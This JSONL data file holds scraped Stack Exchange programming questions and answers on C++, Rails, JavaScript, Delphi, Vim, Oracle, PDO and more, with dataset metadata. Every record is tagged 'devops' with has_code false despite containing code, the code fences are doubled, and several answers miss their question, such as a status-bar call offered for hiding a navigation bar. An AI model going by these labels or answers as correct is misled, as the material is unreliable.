{"id": "hf_b052f2cd2591", "question": "<p>i am trying to compile this very simple piece of code</p>\n\n<pre><code>class myList\n{\npublic:\n    std::vector&lt;std::string&gt; vec;\n    class Items\n    {\n    public:\n        void Add(std::string str)\n        {\n            myList::vec.push_back(str);\n        };\n    }items;\n};\n\nint main()\n{\n    myList newList;\n    newList.items.Add(\"A\");\n}\n</code></pre>\n\n<p>what can i do to make this work without creating more objects that needed or overcomplicating stuff... </p>\n", "question_body": "", "answer": "Add a couple of constructors and a pointer to the parent class.\n```\n```\n#include <string>\n#include <vector>\nclass myList\n{\npublic:\n    std::vector<std::string> vec;\n    myList(): items(this) {} // Added\n    class Items\n    {\n    public:\n        Items(myList *ml): self(ml) {}  // Added\n        void Add(std::string str)\n        {\n                self->vec.push_back(str); // Changed\n        };\n        myList *self; //Added\n    }items;\n};\n\nint main()\n{\n    myList newList;\n    newList.items.Add(\"A\");\n}\n```\n```\nYou need the myList() constructor, so it registers instances of itself with the instance of the inner class member variable. Then you need the Items constructor to store the pointer to the outer myList class instance. Finally in the Add method, you need to reference vec in the stored myList instance.\nAs Catskul points out, the Item constructor mustn't actually do anything with the myList pointer it receives. I'd also like to say that though this answer is closer to the original intent, steveth45's answer is closer to what you would want to do in a real program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.115770"}
{"id": "hf_748c171d7358", "question": "<p>It's possible to write <a href=\"http://en.wikipedia.org/wiki/Markdown\" rel=\"noreferrer\">Markdown</a> content with invalid syntax. Invalid means that the <a href=\"http://www.deveiate.org/projects/BlueCloth\" rel=\"noreferrer\">BlueCloth</a> library fails to parse the content and throws an exception. The <code>markdown</code> helper in Rails doesn't catch any BlueCloth exceptions and because of that the complete page fails to render (500 Server Error page is rendered instead).</p>\n\n<p>In my case, users are allowed to write Markdown content and save it to the database. If someone used invalid syntax, all successive rendering attempts of that content fail (Status Code 500 - Internal Server Error).</p>\n\n<p>How do you get around this issue? Is it possible to validate the Markdown syntax at the Model-level before saving to the database?</p>\n", "question_body": "", "answer": "You should write your own validation method in which you would initialize BlueCloth object, and try to call\n```\nto_html\n```\nmethod catching any exception. If you catch an exception, validation fails, otherwise it should be ok.\nIn your model:\n```\n```\nprotected:\n\ndef validate\n  bc = BlueCloth.new(your_markdown_string_attribute)\n  begin\n    bc.to_html\n  rescue\n    errors.add(:your_markdown_string_attribute, 'has invalid markdown syntax')\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.175656"}
{"id": "hf_9e615480db7f", "question": "<p>What is the most concise and efficient way to find out if a JavaScript array contains a value?</p>\n<p>This is the only way I know to do it:</p>\n<pre><code>function contains(a, obj) {\n    for (var i = 0; i &lt; a.length; i++) {\n        if (a[i] === obj) {\n            return true;\n        }\n    }\n    return false;\n}\n</code></pre>\n<p>Is there a better and more concise way to accomplish this?</p>\n<p>This is very closely related to Stack Overflow question <em><a href=\"https://stackoverflow.com/questions/143847/best-way-to-find-an-item-in-a-javascript-array\">Best way to find an item in a JavaScript Array?</a></em> which addresses finding objects in an array using <code>indexOf</code>.</p>\n", "question_body": "", "answer": "If you are using JavaScript 1.6 or later (Firefox 1.5 or later) you can use\nArray.indexOf\n.  Otherwise, I think you are going to end up with something similar to your original code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.223164"}
{"id": "hf_f859160a4bf6", "question": "<p>I have a legacy DLL written in C that contains a function that returns a string, and I need to access this function from Delphi. The only info I have about the DLL is the VB declare for accessing the function:</p>\n\n<p>Public Declare Function DecryptStr Lib \"strlib\" (Str As String) As String </p>\n\n<p>I've tried the following without success:</p>\n\n<p>Declaration:</p>\n\n<pre><code>function DecryptStr(s: PChar): PChar; cdecl; external 'strlib.dll';\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>var\n  p1, p2 : pchar;\nbegin\n  GetMem( p1, 255 );\n  StrPCopy( p2, 'some string to decrypt' );\n  p1 := DecryptStr( p2 );\nend;\n</code></pre>\n\n<p>This consistently crashes the DLL with an Access Violation. I'm at a loss.</p>\n\n<p>Any suggestions ?</p>\n", "question_body": "", "answer": "I'm guessing here, but are you sure it's cdecl? If the VB declare isn't mentioning it, I'd assume it's in fact a STDCALL function (STDCALL is quite common on Windows, as almost all of its native API uses it). Calling a function of one calling convention as if it were of another calling convention can really mess up the stack, usually leading to a crash.\nAlso, be sure to check whether the string is ANSI (LPSTR/LPCSTR) or UNICODE (LPWSTR/LPCWSTR). I don't know VB or Delphi, so I don't know what each one uses by default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.245914"}
{"id": "hf_a618ba3f2947", "question": "<p>I know that python has a <code>len()</code> function that is used to determine the size of a string, but I was wondering why it's not a method of the string object?</p>\n", "question_body": "", "answer": "```\n```\nmet% python -c 'import this' | grep 'only one'\nThere should be one-- and preferably only one --obvious way to do it.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.326491"}
{"id": "hf_84c64f1747dc", "question": "<p>I have a radio button on my Windows Form. How can I determine if the CheckChanged event occurred due to a user clicking or selecting the radio button vs programatically setting the event with </p>\n\n<pre><code>this.radioButtonAdd.Checked = true;\n</code></pre>\n\n<p>I would like some code to take a different action depending on if the user clicked the button or I raised the event myself.</p>\n\n<p>Or maybe the better question is how do I handle the event when a user clicks vs when the state is changed in my code.</p>\n", "question_body": "", "answer": "If there is a built-in method, then I am not aware of it.\nOne way to handle it is by setting a global flag while the code is making changes that tells the event handler.  For example, the code making the changes could look something like the following:\n```\n```\nsavedFlag = modifyingProgrammatically;\nmodifyingProgrammatically = true;\nthis.radioButtonAdd.Checked = true;\nmodifingProgrammatically = savedFlag;\n```\n```\nWithin your event handler:\n```\n```\nif(modifyingProgramatically) {\n    // The event was raised by an assignment within the code.\n} else {\n    // The event was raised by a user action.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.372193"}
{"id": "hf_c63b9321d064", "question": "<p>I would like to assign a drive letter to a GMail drive so that I could script some output to it.  Are they any hacks to get this to work?</p>\n", "question_body": "", "answer": "GMail Drive no longer works (well) -- Google put rate limits into Gmail to prevent this kind of (ab)use of Gmail.  It's like being attached to a hard drive over a bad satellite connection to Rwanda*.\nYou might look into Amazon's S3, which is a cheap web-hosted data storage service; then ask this question again from an S3 perspective.\n* Incidentally, that's what I deal with at work on a weekly basis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.429661"}
{"id": "hf_da4dd98601a5", "question": "<p>I normally use the following idiom to check if a String can be converted to an integer.</p>\n\n<pre><code>public boolean isInteger( String input ) {\n    try {\n        Integer.parseInt( input );\n        return true;\n    }\n    catch( Exception e ) {\n        return false;\n    }\n}\n</code></pre>\n\n<p>Is it just me, or does this seem a bit hackish?  What's a better way?</p>\n\n<hr>\n\n<p>See my answer (with benchmarks, based on the <a href=\"https://stackoverflow.com/a/237321/1288\">earlier answer</a> by <a href=\"https://stackoverflow.com/users/28278/codingwithspike\">CodingWithSpike</a>) to see why I've reversed my position and accepted <a href=\"https://stackoverflow.com/a/237204/1288\">Jonas Klemming's answer</a> to this problem.  I think this original code will be used by most people because it's quicker to implement, and more maintainable, but it's orders of magnitude slower when non-integer data is provided.</p>\n", "question_body": "", "answer": "How about:\n```\n```\nreturn Pattern.matches(\"-?\\\\d+\", input);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.452957"}
{"id": "hf_46a303eaaeea", "question": "<p>I'm experimenting with the NavBar sample project for iPhone.  When I tap on one of the rows in the table in the default view a new view slides in (so far so good).  I want to remove the UINavigationBar bar at the top of the new view that slides in.  How can I do this? </p>\n\n<p>EDIT:  I meant \"UINavigationBar\".  Thanks to everyone who responded!</p>\n", "question_body": "", "answer": "```\n```\n[[UIApplication sharedApplication]setHidesStatusBar:YES];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.476146"}
{"id": "hf_6f67a5fb4a4c", "question": "<p>I'm trying to perform a simple LINQ query on the Columns property of a DataTable:</p>\n\n<pre><code>from c in myDataTable.Columns.AsQueryable()\n    select c.ColumnName\n</code></pre>\n\n<p>However, what I get is this:</p>\n\n<blockquote>\n  <p>Could not find an implementation of the query pattern for source type 'System.Linq.IQueryable'. 'Select' not found.  Consider explicitly specifying the type of the range variable 'c'.</p>\n</blockquote>\n\n<p>How can I get the DataColumnCollection to play nice with LINQ?</p>\n", "question_body": "", "answer": "How about:\n```\n```\nvar x = from c in dt.Columns.Cast<DataColumn>()\n        select c.ColumnName;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.499160"}
{"id": "hf_36f6896e58d4", "question": "<p>Any python libs for parsing apache config files or if not python anyone aware of such thing in other languages (perl, php, java, c#)?\nAs i'll be able to rewrite them in python.</p>\n", "question_body": "", "answer": "No Python libraries exist that I know of, but here's a perl one:\nhttp://packages.debian.org/sid/libapache-configfile-perl\n```\n```\nPackage: libapache-configfile-perl\nPriority: optional\nSection: interpreters\nInstalled-Size: 124\nMaintainer: Michael Alan Dorman\nVersion: 1.18-1\nDepends: perl (>= 5.6.0-16)\nDescription: Parse an Apache style httpd.conf configuration file\n\nThis module parses the Apache httpd.conf, or any\ncompatible config file, and provides methods for\nyou to access the values from the config file.\n```\n```\nIf you do rewrite it in Python, please update your post to mention the name of your package on PyPI! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.521833"}
{"id": "hf_5696945baacf", "question": "<p>I am working on an application that uses several large canvas controls (several thousand pixels across), layered on top of each other.  The canvas controls themselves are completely invisible, but each contains a number of controls, mainly images.</p>\n\n<p>My question is, is there a recommended maximum size for a canvas, or is it purely a memory issue?  And also, are we better off setting the Canvas size to (0, 0) and making use of the fact that we can happily render controls outside of the bounds of the canvas?</p>\n\n<p>Thanks,</p>\n\n<p>G</p>\n", "question_body": "", "answer": "From my understanding of the innards of\n```\nCanvas\n```\n, it should need no additional memory for being bigger.\nThe first thing that comes to my mind on having a non-zero sized\n```\nCanvas\n```\nis that it allows one to put items on it relatively to any of the four corners, which helps when e.g. resizing the container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.544996"}
{"id": "hf_d8c41e0f3265", "question": "<p>I'm looking for an algorithm that places tick marks on an axis, given a range to display, a width to display it in, and a function to measure a string width for a tick mark.</p>\n\n<p>For example, given that I need to display between 1e-6 and 5e-6 and a width to display in pixels, the algorithm would determine that I should put tickmarks (for example) at 1e-6, 2e-6, 3e-6, 4e-6, and 5e-6.  Given a smaller width, it might decide that the optimal placement is only at the even positions, i.e. 2e-6 and 4e-6 (since putting more tickmarks would cause them to overlap).</p>\n\n<p>A smart algorithm would give preference to tickmarks at multiples of 10, 5, and 2.  Also, a smart algorithm would be symmetric around zero.</p>\n", "question_body": "", "answer": "Take the longest of the segments about zero (or the whole graph, if zero is not in the range) - for example, if you have something on the range [-5, 1], take [-5,0].\nFigure out approximately how long this segment will be, in ticks. This is just dividing the length by the width of a tick. So suppose the method says that we can put 11 ticks in from -5 to 0. This is our upper bound. For the shorter side, we'll just mirror the result on the longer side.\nNow try to put in as many (up to 11) ticks in, such that the marker for each tick in the form i*10*10^n, i*5*10^n, i*2*10^n, where n is an integer, and i is the index of the tick. Now it's an optimization problem - we want to maximize the number of ticks we can put in, while at the same time minimizing the distance between the last tick and the end of the result. So assign a score for getting as many ticks as we can, less than our upper bound, and assign a score to getting the last tick close to n - you'll have to experiment here.\nIn the above example, try n = 1. We get 1 tick (at i=0). n = 2 gives us 1 tick, and we're further from the lower bound, so we know that we have to go the other way. n = 0 gives us 6 ticks, at each integer point point. n = -1 gives us 12 ticks (0, -0.5, ..., -5.0). n = -2 gives us 24 ticks, and so on. The scoring algorithm will give them each a score - higher means a better method.\nDo this again for the i * 5 * 10^n, and i*2*10^n, and take the one with the best score.\n(as an example scoring algorithm, say that the score is the distance to the last tick times the maximum number of ticks minus the number needed. This will likely be bad, but it'll serve as a decent starting point).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.569709"}
{"id": "hf_ade111b29998", "question": "<p>In my django application I am using a template to construct email body, one of the parameters is url, note there are two parametes separated by ampersand in the url.</p>\n\n<pre><code>t = loader.get_template(\"sometemplate\")\nc = Context({\n   'foo': 'bar',\n   'url': 'http://127.0.0.1/test?a=1&amp;b=2',\n})\nprint t.render(c)\n</code></pre>\n\n<p>After rendering it produces: <code>http://127.0.0.1/test?a=1&amp;amp;amp;b=2</code></p>\n\n<p>Note the ampersand is HTML encoded as \"&amp;amp;\". One way around the problem is to pass each parameter separately to my template and construct the url in the template, however I'd like to avoid doing that.</p>\n\n<p>Is there a way to disable HTML encoding of context parameters or at the very least avoid encoding of ampersands?</p>\n", "question_body": "", "answer": "To turn it off for a single variable, use\n```\nmark_safe\n```\n:\n```\n```\nfrom django.utils.safestring import mark_safe\n\nt = loader.get_template(\"sometemplate\")\nc = Context({\n   'foo': 'bar',\n   'url': mark_safe('http://127.0.0.1/test?a=1&b=2'),\n})\nprint t.render(c)\n```\n```\nAlternatively, to totally turn autoescaping off from your Python code,\nuse the\n```\nautoescape\n```\nargument when initialising a\n```\nContext\n```\n:\n```\n```\nc = Context({\n   'foo': 'bar',\n   'url': 'http://127.0.0.1/test?a=1&b=2',\n}, autoescape=False)\n```\n```\nThe\nHow to turn [Automatic HTML escaping] off\nsection of the documentation covers some of the in-template options if you'd rather do it there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.614798"}
{"id": "hf_cc0941e97d9d", "question": "<p>Doing like so:</p>\n\n<p><code>Shell (\"C:\\Program Files\\Internet Explorer\\iexplore.exe -embedding http://www.websiteurl.com\")</code></p>\n\n<p>Doesn't work how I need it as I essentially need it to be able to redirect and prompt a user to download a file.  Any ideas?</p>\n", "question_body": "", "answer": "There are a couple of things you could do.\nUse an external program like\n```\nwget\n```\nto get the file instead of IE.  You can get wget for free at\nhttp://www.cygwin.com\nwith the cygnus tools.  It's GPL, so just watch out if you have a commercial product.\nWrite a little .NET program that uses the HttpWebRequest class to get the file and shell out to that program instead of IE.  I don't think you're going to have a lot of luck shelling out to IE itself.  Sounds like a, to paraphrase Steve Jobs, \"bag of hurt\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.648808"}
{"id": "hf_1e1481fe5fe8", "question": "<p>I'm constructing a method to take in an ArrayList(presumably full of objects) and then list all the fields(and their values) for each object in the ArrayList.</p>\n\n<p>Currently my code is as follows:</p>\n\n<pre><code>public static void ListArrayListMembers(ArrayList list)\n    {\n        foreach (Object obj in list)\n        {\n            Type type = obj.GetType();\n            string field = type.GetFields().ToString();\n            Console.WriteLine(field);\n\n        }\n    }\n</code></pre>\n\n<p>Of course, I understand the immediate issue with this code: if it worked it'd only print one field per object in the ArrayList. I'll fix this later - right now I'm just curious how to get all of the public fields associated with an object.</p>\n", "question_body": "", "answer": "```\n```\nforeach (Object obj in list) {\n    Type type = obj.GetType();\n\n    foreach (var f in type.GetFields().Where(f => f.IsPublic)) {\n        Console.WriteLine(\n            String.Format(\"Name: {0} Value: {1}\", f.Name, f.GetValue(obj));\n    }                           \n}\n```\n```\nNote that this code requires .NET 3.5 to work ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.683429"}
{"id": "hf_f8d783cd45b2", "question": "<p>At my workplace, we tend to use  <strong>iostream</strong>, <strong>string</strong>, <strong>vector</strong>, <strong>map</strong>, and the odd <strong>algorithm</strong> or two.  We haven't actually found many situations where template techniques were a best solution to a problem.</p>\n\n<p>What I am looking for here are ideas, and optionally sample code that shows how you used a template technique to create a new solution to a problem that you encountered in real life.</p>\n\n<p>As a bribe, expect an up vote for your answer.</p>\n", "question_body": "", "answer": "General info on templates:\nTemplates are useful anytime you need to use the same code but operating on different data types, where the types are known at compile time.   And also when you have any kind of container object.\nA very common usage is for just about every type of data structure.  For example: Singly linked lists, doubly linked lists, trees, tries, hashtables, ...\nAnother very common usage is for sorting algorithms.\nOne of the main advantages of using templates is that you can remove code duplication.  Code duplication is one of the biggest things you should avoid when programming.\nYou could implement a function Max as both a macro or a template, but the template implementation would be type safe and therefore better.\nAnd now onto the cool stuff:\nAlso see\ntemplate metaprogramming\n, which is a way of pre-evaluating code at compile-time rather than at run-time.  Template metaprogramming has only immutable variables, and therefore its variables cannot change.  Because of this template metaprogramming can be seen as a type of functional programming.\nCheck out this example of template metaprogramming from Wikipedia.  It shows how templates can be used to\nexecute code at compile time\n.  Therefore at runtime you have a pre-calculated constant.\n```\n```\ntemplate <int N>\nstruct Factorial \n{\n    enum { value = N * Factorial<N - 1>::value };\n};\n\ntemplate <>\nstruct Factorial<0> \n{\n    enum { value = 1 };\n};\n\n// Factorial<4>::value == 24\n// Factorial<0>::value == 1\nvoid foo()\n{\n    int x = Factorial<4>::value; // == 24\n    int y = Factorial<0>::value; // == 1\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.717839"}
{"id": "hf_63afc6957c35", "question": "<p>I'm looking for a way to configure the color used for line numbering (as in: <code>:set nu</code>) in Vim.  The default on most platforms seems to be yellow (which is also used for some highlighted tokens).  I would <em>like</em> to color the line numbers a dim gray; somewhere in the vicinity of <code>#555</code>.  I'm not picky though, any subdued color would be acceptable.</p>\n", "question_body": "", "answer": "Try:\n```\n```\nhelp hl-LineNr\n```\n```\nI found this through:\n```\n```\nhelp 'number'\n```\n```\nwhich is the way to get help on the\n```\n'number'\n```\noption, instead of the\n```\n:number\n```\ncommand.\nTo actually change the displayed colour:\n```\n```\n:highlight LineNr ctermfg=grey\n```\n```\nThis would change the foreground colour for LineNr on a character terminal to grey. If you are using gVim, you can:\n```\n```\n:highlight LineNr guifg=#050505\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.744849"}
{"id": "hf_957ea26359ab", "question": "<p>I'm currently displaying a UIViewController like this:</p>\n\n<pre><code>[[self navigationController] presentModalViewController:modalViewController animated:YES];\n</code></pre>\n\n<p>and hiding it like this:</p>\n\n<pre><code>[self.navigationController dismissModalViewControllerAnimated:YES];\n</code></pre>\n\n<p>The animation is \"slide up from the bottom\"... then slide back down.  How can I change the animation style?  Can I made it fade in/out?</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "Marcus Zarra posted a great solution to this on the SDK mailing list:\n```\n```\nUIViewController *controller = [[[MyViewController alloc] init] autorelease];\nUIViewAnimationTransition trans = UIViewAnimationTransitionCurlUp;\n[UIView beginAnimations: nil context: nil];\n[UIView setAnimationTransition: trans forView: [self window] cache: YES];\n[navController presentModalViewController: controller animated: NO];\n[UIView commitAnimations];\n```\n```\nThere are transitions for flipping and page-curling. If you are set on fading, can try adjusting your new view's alpha:\n```\n```\nUIViewController *controller = [[[MyViewController alloc] init] autorelease];\ncontroller.view.alpha = 0.0;\n[navController presentModalViewController: controller animated: NO];\n[UIView beginAnimations: nil context: nil];\ncontroller.view.alpha = 1.0;\n[UIView commitAnimations];\n```\n```\nHowever, what you probably want is a crossfade, or at least a fade-over. When the UINavigationController switches to a new view, it removes the old one. For this effect, you're probably better off just adding a new view to your existing UIViewController and fading its alpha in over time.\nNote: If you are not in your app delegate [self window] will not work. Use self.view.window , thanks to user412500's post for pointing this out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.803908"}
{"id": "hf_be5a0b6b6fc4", "question": "<p>The UPSERT operation either updates or inserts a row in a table, depending if the table already has a row that matches the data:</p>\n\n<pre><code>if table t has a row exists that has key X:\n    update t set mystuff... where mykey=X\nelse\n    insert into t mystuff...\n</code></pre>\n\n<p>Since Oracle doesn't have a specific UPSERT statement, what's the best way to do this?</p>\n", "question_body": "", "answer": "The\nMERGE statement\nmerges data between two tables.  Using DUAL\nallows us to use this command.  Note that this is not protected against concurrent access.\n```\n```\ncreate or replace\nprocedure ups(xa number)\nas\nbegin\n    merge into mergetest m using dual on (a = xa)\n         when not matched then insert (a,b) values (xa,1)\n             when matched then update set b = b+1;\nend ups;\n/\ndrop table mergetest;\ncreate table mergetest(a number, b number);\ncall ups(10);\ncall ups(10);\ncall ups(20);\nselect * from mergetest;\n\nA                      B\n---------------------- ----------------------\n10                     2\n20                     1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.849875"}
{"id": "hf_8e43b2ac48d4", "question": "<p>I am trying to call a setTimeout from within a setInterval callback:</p>\n\n<pre><code>function callback()\n{\n   //assign myVar\n   var myVar = document.getElementById(\"givenID\");\n   //...\n   //now wait 2 secs then call some code that uses myVAr\n   setTimeout(\"myVar.innerHTML = 'TEST'\", 2000);\n}\n\nsetInterval(\"callback();\", 10000);\n</code></pre>\n\n<p>setInterval works as expected but setTimeout call is failing. I guess the problem is related to the fact that I am referencing a variable (myVar) that's not in scope.</p>\n\n<p>What's the best way to solve this?</p>\n", "question_body": "", "answer": "Run it in Firefox and check Tools | Error Console.  if setTimeout fails it may tell you why there.\nAlso, try replacing\n```\n\"someFunction();\"\n```\nwith\n```\n\"alert('hi')\"\n```\n(no semicolon) and see if that works.  If so, the problem is narrowed down significantly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.894226"}
{"id": "hf_f8b4ad127b87", "question": "<p>When I connect to a MySQL database using PDO, the way I need to connect is:</p>\n\n<pre><code>$pdoConnection = new PDO(\"mysql:host=hostname;dbname=databasename\",user,password);\n</code></pre>\n\n<p>But, for PostgreSQL, the DSN is more standard (IMO):</p>\n\n<pre><code>$pdoConnection = new PDO(\"pgsql:host=hostname;dbname=databasename;user=username;password=thepassword\");\n</code></pre>\n\n<p>Is there any reason why MySQL cannot use a single string?  Or is this just because of the versions I am using (PHP 5.2, MySQL 5.0, PostgreSQL 8.1)?</p>\n", "question_body": "", "answer": "As the person that implemented both, I can tell you that the reason is that by passing the string through as-is to postgres (and ODBC) the PDO driver code for those databases does not need to be updated as the underlying library adds new features.\nSince MySQL does not have its own connection string parsing code, we invented a mechanism for passing data in to the underlying MySQL function calls, which have a very specific API with fixed parameters.\nNo accident; it's very deliberate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.915560"}
{"id": "hf_1bbf05b0a507", "question": "<p>For the sake of simplicity:</p>\n\n<p>There is a permission based system in place with different kinds of user levels and actions (think: UNIX file system permissions)</p>\n\n<p>What would be the best approach to visualize this in UML?</p>\n", "question_body": "", "answer": "I like to think of a file system object has having a number of standard methods, each of which has an associated permission.\nThere are 9 methods/permissions that of usually of interest: the combinations of (User, Group, Other) * (Read, Write, Execute).  Additionally, there are options like Sticky and SetUID.\nA file system object is associated with one user and one group. A user is associated with any number of groups.\nThe current user is associated with any number of groups.\nThe above is pretty standard class diagram stuff.  File system objects, users, groups, associations.  And the file system objects have a pile of attributes and the 9 canonical methods.\nThe constraint on what's allowed doesn't have a tidy diagram.  It's a set of rules expressions.  The first is which permission set to use (user, group or other) and then which permission in the set (read, write or execute).\nYou could, I suppose, define a class of users with some set of concrete objects (Unix has user, group, other), and a class of operations with some set of concrete objects (Unix has read, write, execute).  You can then define permissions with two associations: one to user class and one to operation class.\nI think it's easier to just list the complete set methods that to fussily diagram the combinations user class instances and operation class instances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.962175"}
{"id": "hf_ee8b36891516", "question": "<p>Is there a better way to do this?</p>\n\n<pre><code>string[] s = {\"zero\", \"one\", \"two\", \"three\", \"four\", \"five\"};\n\nvar x = \ns\n.Select((a,i) =&gt; new {Value = a, Index = i})\n.Where(b =&gt; b.Value.StartsWith(\"t\"))\n.Select(c =&gt; c.Index);\n</code></pre>\n\n<p>i.e. I'm looking for a more efficient or more elegant way to get the positions of the items matching the criteria.</p>\n", "question_body": "", "answer": "Seems fine to me. You might save a couple characters by changing the select to:\n```\n```\n.Select((Value, Index) => new {Value, Index})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.988987"}
{"id": "hf_d92c931ff331", "question": "<p>Is possible to insert a line break where the cursor is in Vim without entering into insert mode? Here's an example (<code>[x]</code> means cursor is on <code>x</code>):</p>\n\n<pre><code>if (some_condition) {[ ]return; }\n</code></pre>\n\n<p>Occasionally, I might want to enter some more code. So I'd press <kbd>i</kbd> to get into insert mode, press <kbd>Enter</kbd> to insert the line break and then delete the extra space. Next, I'd enter normal mode and position the cursor before the closing brace and then do the same thing to get it on its own line.</p>\n\n<p>I've been doing this a while, but there's surely a better way to do it?</p>\n", "question_body": "", "answer": "For the example you've given, you could use\nr\nEnter\nto replace a single character (the space) with Enter. Then,\nf\nspace\n.\nto move forward to the next space and repeat the last command.\nDepending on your autoindent settings, the above may or may not indent the return statement properly. If not, then use\ns\nEnter\nTab\nEsc\ninstead to replace the space with a newline, indent the line, and exit insert mode. You would have to replace the second space with a different command so you couldn't use '.' in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.024050"}
